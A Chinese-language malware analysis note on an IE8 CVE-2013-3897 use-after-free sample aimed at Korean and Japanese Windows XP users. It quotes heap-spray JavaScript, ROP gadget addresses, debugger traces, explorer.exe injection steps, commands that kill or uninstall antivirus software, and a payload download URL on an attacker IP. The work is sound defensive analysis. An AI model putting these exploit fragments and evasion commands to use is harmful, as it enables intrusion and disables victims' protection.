CVE-2013-3897样本分析学习笔记

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发布时间：2013-12-21 10:33:03

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之前，看到FireEye上的CVE-2013-3893分析，看利用方式比较类似，以为是同一个，分析学习下，发现导致问题的对象不一致，也没有利用ms-help加载office的hxdl构造ROP，后来在BinVul论坛上看到有人发了该样本，才知道是CVE-2013-3897。不正确地方还请扶正。

1. 概述

该样本攻击对象为韩国和日本的WinXP IE8用户，利用了IE8的CDisplayPointer对象的一个Use-After-Free漏洞，利用DEPS HeapSpray技术进行堆喷射，通过msvcrt.dll构造ROP链绕过DEP进行利用。成功利用后，会注入Shellcode到explorer进程，尝试检查结束Kaspersky、AhnLab V3Lite、AhnLab V3 365 Clinic、NaverVaccine、ALYac安全软件，之后从网络服务器上下载执行伪造成GIF的恶意程序。

2. 样本分析

1) 通过DIV元素设置和清除title属性字符串，大量的申请释放大小为0×48的堆空间，激活LFH机制，防止cache分配空间，用0×14141414填充，作为后续vtable jmp

var vault=new Array();var str=unescape("% u1414% u1414");while (str.length < 0x50) str=str+str;str=str.substr(0,(0x48-2)/2);for (i=0;i<2000;i++) {vault.push(document.createElement("div"));vault[i].setAttribute("title",str);}for (i=1000;i<2000;i++) vault[i].setAttribute("title",""); CollectGarbage();

2) 检查用户电脑环境是否满足: Windows XP + IE8 + 韩国/日本

if(navigator.appName.indexOf("Microsoft Internet Explorer") == -1) {att = 0;}if(navigator.userAgent.indexOf("Windows NT 5.1") == -1) {att = 0;}if(navigator.userAgent.indexOf("MSIE 8.0") == -1) {att = 0;}if(navigator.systemLanguage == navigator.userLanguage) {if(navigator.systemLanguage.indexOf("ko") != -1) {lang = 1;}else if(navigator.systemLanguage.indexOf("ja") != -1) {lang = 1;}

3) 如果为韩国日本用户，替换为msvcrt.dll对应的ROP链，然后进行HeapSpray

var ate1 = 0x77BD18D3 ;var atz1 = 0x77BCEF5B ; var co1 = 0x77BCF519 ;var pco1 = 0x77BD3E25 ; var jtc1 = 0x77BE746A ; var vPP1 = 0x77BC1120 ;if(lang == 1) { ate = ate1; atz = atz1; co = co1; pco = pco1; jtc = jtc1; vPP = vPP1;

3. 漏洞分析

1) 样本本身带了比较多的调试信息, 利用样本已有调试信息，先观察下exp执行的过程

bu jscript!JsAtan2 "j (poi(poi(esp+14)+18) == 0x999) '.printf /"DEBUG: %mu/", poi(poi(poi(esp+14)+8)+8); .echo; g';" 0:008> gDEBUG: before unselectDEBUG: after unselectDEBUG: before selectDEBUG: before swapDEBUG: after swapDEBUG: before unselectDEBUG: after unselect(418.76c): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=14141414 ebx=04c25dbc ecx=030dc200 edx=000000c8 esi=030dc248 edi=80004002eip=77bd18d5 esp=030dc1e4 ebp=030dc218 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246VERSION!VerpQueryValue+0x54:77bd18d5 018d45e0508d    add     dword ptr [ebp-72AF1FBBh],ecx ss:0023:905ea25d=????????

2) 由于不是韩国或日本的windows xp系统，跳转到77bd18d5(本应该msvcrt.dll的)指向的ROP链不正确，触发了异常, 修改跳转地址，重新调试

(8d0.ca0): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=41414141 ebx=0494f48c ecx=030dc200 edx=000000c8 esi=030dc248 edi=80004002eip=6362746c esp=030dc1e8 ebp=030dc218 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246mshtml!QIClassID+0x45:6362746c ff10            call    dword ptr [eax]      ds:0023:41414141=????????0:008> kbChildEBP RetAddr  Args to Child030dc218 638cbbf7 0494f48c 3050f4a5 11cf98b5 mshtml!QIClassID+0x45030dc290 638cab07 00195380 0494f48c 00000000 mshtml!CDoc::ScrollPointerIntoView+0xc5030dc2a4 639d115f 0494f470 0020deb8 00000000 mshtml!CDisplayPointer::ScrollIntoView+0x21030dc2c4 639d10bd 030dc354 030dc390 00000002 mshtml!CHTMLEditor::SelectRangeInternal+0x98030dc2dc 639d7416 0020deb8 030dc354 030dc390 mshtml!CHTMLEditor::SelectRange+0x1a

3) 此时对象空间已经被DIV的title属性值的str字符串所填充

0:008> dds ebx0494f48c  414141410494f490  414141410494f494  414141410494f498  414141410494f49c  414141410:008> !heap -p -a ebxaddress 0494f48c found in_HEAP @ 140000HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state0494f468 000c 0000  [07]   0494f470    00048 - (busy)Trace: 23a07c98cf9a ntdll!RtlDebugAllocateHeap+0x000000e17c969564 ntdll!RtlAllocateHeapSlowly+0x000000447c938f01 ntdll!RtlAllocateHeap+0x00000e646365173e mshtml!_HeapAllocString+0x00000051    <------ !!!63651871 mshtml!CAttrValue::InitVariant+0x00000154

看下问题代码的上下文, 在进行CLSID为_IID_IProxyManager的接口查询时，使用被释放的对象指针触发异常

.text:63627454   and     dword ptr [esi], 0.text:63627457   mov     eax, [ebx].text:63627459   and     [ebp+pInterface], 0.text:6362745D   lea     ecx, [ebp+pInterface].text:63627460   push    ecx.text:63627461   push    offset _IID_IProxyManager.text:63627466   push    ebx.text:63627467   mov     edi, 80004002h.text:6362746C   call    dword ptr [eax]               ;....text:638CBBC8   mov     [esp+58h+var_38], eax.text:638CBBCC   mov     eax, [esp+58h+var_18].text:638CBBD0   lea     eax, [eax+ecx+2].text:638CBBD4   mov     [esp+58h+var_30], eax.text:638CBBD8   lea     eax, [esp+58h+local_pI_CMarkupPointer].text:638CBBDC   push    eax                           ; void **.text:638CBBDD   mov     [esp+5Ch+var_34], esi.text:638CBBE1   sub     esp, 10h.text:638CBBE4   mov     edi, esp.text:638CBBE6   push    [ebp+arg_ICMarkupPointer]     ; struct IUnknown *      <---- !!!.text:638CBBE9   mov     esi, offset _CLSID_CMarkupPointer.text:638CBBEE   movsd.text:638CBBEF   movsd.text:638CBBF0   movsd.text:638CBBF1   movsd.text:638CBBF2   call    ?QIClassID@@YGJPAUIUnknown@@U_GUID@@PAPAX@Z ; QIClassID(IUnknown *,_GUID,void * *).text:638CBBF7   test    eax, eax....text:638CBB50                 push    eax             ; Dst.text:638CBB51                 call    _memset.text:638CBB56                 add     esp, 0Ch.text:638CBB59                 lea     eax, [esp+58h+Dst].text:638CBB5D                 push    eax             ; int.text:638CBB5E                 push    [ebp+arg_ZERO]  ; int.text:638CBB61                 push    [ebp+arg_ICMarkupPointer] ; struct IUnknown *        <--- !!!.text:638CBB64                 call    ?GetLineInfo@CDoc@@QAEJPAUIMarkupPointer@@HPAU_HTMLPtrDispInfoRec@@@Z ; CDoc::GetLineInfo(IMarkupPointer *,int,_HTMLPtrDispInfoRec *).text:638CBB69                 lea     eax, [ebx+1F0h].text:638CBB6F                 lea     edi, [esp+58h+var_44] ...

在 call CDoc::GetLineInfo以及Call QIClassID处下断点

0:008> bl...2 d 638cbb64     0001 (0001)  0:**** mshtml!CDoc::ScrollPointerIntoView+0x323 d 638cbbf2     0001 (0001)  0:**** mshtml!CDoc::ScrollPointerIntoView+0xc0

4) 在DEBUG信息swap时激活

0:008> be 2,30:008> gDEBUG: after swapeax=030db578 ebx=030db528 ecx=003bb480 edx=633b5f09 esi=049f5518 edi=030db518eip=633b5f09 esp=030db4d8 ebp=030db53c iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246jscript!JsAtan2:633b5f09 8bff            mov     edi,edi0:008> gBreakpoint 2 hiteax=030dc264 ebx=001938f0 ecx=00000000 edx=00000000 esi=04b4edd0 edi=04b4ede0eip=638cbb64 esp=030dc22c ebp=030dc290 iopl=0         nv up ei pl nz ac po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212mshtml!CDoc::ScrollPointerIntoView+0x32:638cbb64 e8b9faffff      call    mshtml!CDoc::GetLineInfo (638cb622)

导致问题产生的可能是CDisplayPointer对象，利用代码也表明触发问题的对象在winxp IE8下大小为0×48，与CDisplayPointer一致
此时还没有被释放

0:008> !heap -p -a poi(esp)address 04b2445c found in_HEAP @ 140000HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state04b24438 000c 0000  [07]   04b24440    00048 - (busy)mshtml!CDisplayPointer::`vftable'               <----------Trace: 359e7c98cf9a ntdll!RtlDebugAllocateHeap+0x000000e17c969564 ntdll!RtlAllocateHeapSlowly+0x000000447c938f01 ntdll!RtlAllocateHeap+0x00000e64635f047a mshtml!CDoc::CreateDisplayPointer+0x00000024    <-----------63a07165 mshtml!CSelectTracker::InitPointers+0x00000019635cb78e mshtml!CSelectionManager::SetCurrentTracker+0x00000026639dc0bf mshtml!CSelectionManager::Select+0x00000761639d113a mshtml!CHTMLEditor::SelectRangeInternal+0x00000073639d10bd mshtml!CHTMLEditor::SelectRange+0x0000001a639d7416 mshtml!CHTMLEditorProxy::SelectRange+0x000000256389c886 mshtml!CDoc::Select+0x0000002f

4. Shellcode分析

1) 换成日本window xp, 通过在msvcrt上构造ROP，调用VirtualProtect来过DEP

0:008> u 0x77BD18D3msvcrt!type_info::operator==+0x3b:77bd18d3 94              xchg    eax,esp77bd18d4 c15e8bc1        rcr     dword ptr [esi-75h],0C1h77bd18d8 5d              pop     ebp77bd18d9 c20400          ret     4...0:008> u 0x77BE746Amsvcrt!_SEH_epilog+0xf:77be746a 51              push    ecx        ; ecx = ptr kernel32!VirtualProtect77be746b c3              ret            ; call kernel32!VirTualProtect

然后跳转到1414148c开始执行shellcode，经过一些nop指令后，进行XOR 0×94自解密

141414a9 4a              dec     edx141414aa 33c9            xor     ecx,ecx141414ac 6681c1f30c      add     cx,0CF3h141414b1 80340a94        xor     byte ptr [edx+ecx],94h141414b5 e2fa            loop    141414b1

2) 之后会注入shellcode代码到explore进程

hwnd = User32!FindWindowA(classname: "Progman", windowname:"Program Manager");      <-- explorer.exeGetWindowThreadProcessId(hwnd, &pid_explorer);hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid_explorer);hMem = VirtualAllocEx(hProc, NULL, 4096, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);WriteProcessMemory(hProc, hMem, 14141796, 00000A10, 00000000);CreateRemoteThread(hProc, NULL, 0, 6390000,  NULL, 0);kernel32!ExitProcess

3) 注入到explore后，首先通过检查是否存在”c:￥Program Files￥Kaspersky Lab”目录(日本操作系统路径显示为￥)，来
判断是否安装卡巴斯基，如果不存在继续执行。

4) sleep 10分钟后，杀软检测函数根据参数1-4执行不同杀软的判断结束操作

参数1时，检测是否安装安博士v3杀毒软件，如果安装调用其自身的卸载程序，然后通过获取卸载确定按钮，通过模拟鼠标
点击来进行卸载。

RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE￥￥AhnLab￥￥V3Lite", 0, KEY_READ, pRes)RegQueryValueExA(hKeym "InstallPath", 0, REG_SZ, pData, 255);ShellExecuteA(NULL, "open", "installpath￥Uninst.exe", "Uninstall", 0, 0)hwnd = FindWindowA(NULL, "V3 Lite f")SetWindowPos(hWnd, HWND_BOTTOM, 0, 0, 100, 200, SWP_HIDEWINDOW)FindWindowExA(hParent, hChildAfter, "Button", "f")PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0)PostMessageA(hWnd, WM_LBUTTONUP, 0, 0)

参数2时，检测是否安装AhnLab V3 365 Clinic。参数4时，检测是否安装ESTsoft ALYac。如果安装卸载方式同上

参数3时，检测是否安装NaverVaccine安全软件，如果存在，通过ntsd尝试强制结束对应的进程

WinExec("ntsd -c q -pn NVCAgent.npc", SW_HIDE);WinExec("ntsd -c q -pn Nsavsvc.npc", SW_HIDE)

5) 之后，调用URLDownloadToFileA从http://1.234.31.154/mii/fird.gif下载文件保存到临时目录为main001.gif，如果main001.gif
满足大于1KB小于500KB，则会调用WinExec隐藏执行。

6) 恶意程序分析时URL已经失效，没有分析，该处有对该恶意文件的分析

参考
————
http://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-part-2-zero-day-exploit-analysis-cve-2013-3893.html
http://blog.spiderlabs.com/2013/10/another-day-another-ie-zero-day.html
https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/

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